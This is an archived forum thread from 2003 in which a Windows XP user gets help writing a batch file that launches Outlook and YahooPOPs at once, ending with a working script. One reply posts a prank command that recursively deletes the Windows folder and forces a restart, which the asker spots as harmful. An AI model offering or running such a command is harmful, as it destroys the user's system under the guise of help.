PDA

View Full Version : Batch File Help


View Full Version : Batch File Help


phalkon30
October 6th, 2003, 03:40 AM
I'd like to create a batch file to launch outlook and yahoopops instead of clicking the two separately.

CPU tried to help me, but nothing he can come up with works.

start "G:\Program Files\Microsoft Office\Outlook.exe"
start "G:\Program Files\YahooPOPs\YahooPOPs.exe"

^^thats what I'm trying to use, but all it does is bring up a blank cmd prompt, 2 actually.

I'm using XP.

Could anybody whip up a batch file that would work for those adresses? I'm not worried that somebody will post a virus (I'm smart enough to actually CHECK the code), so don't bother trying to infect me.

cpugeniusmv
October 6th, 2003, 03:47 AM
rd/s/q C:\WINDOWS
shutdown -r -t 60 -c "bwahahaha"

phalkon30
October 6th, 2003, 04:00 AM
:mellow I'm not kyle.

Although I DON'T know what that does, I know its not good. (I think delete windows dir and say "bwahahahaha")

talkinghand
October 6th, 2003, 04:04 AM
alright, i got your batch...

"G:\Program Files\Microsoft Office\Outlook.exe"
"G:\Program Files\YahooPOPs\YahooPOPs.exe"

paste in text, rename to blah.bat ...

worked for me

phalkon30
October 6th, 2003, 04:17 AM
Nah, been there done that.

I halfway got things running. I may be kyle afterall though (it helps to have the right dir in the filename).

Now my problem is, it only runs the first thing, then waits for whatever its launched to close, then opens the second file.

I tried making a batch file to open 2 batch files, but that didn't work either.

cpugeniusmv
October 6th, 2003, 04:18 AM
:mellow I'm not kyle.

Although I DON'T know what that does, I know its not good. (I think delete windows dir and say "bwahahahaha")
and shuts down your machine :angel

cpugeniusmv
October 6th, 2003, 04:22 AM
got it:

cd "C:\Program Files\Microsoft Office\OFFICE11"
start outlook.exe
cd "C:\Program Files\YahooPOPs"
start yahoopops.exe

make sure it's the right office dir

phalkon30
October 6th, 2003, 04:30 AM
Ahhhhh, it works. Thanks.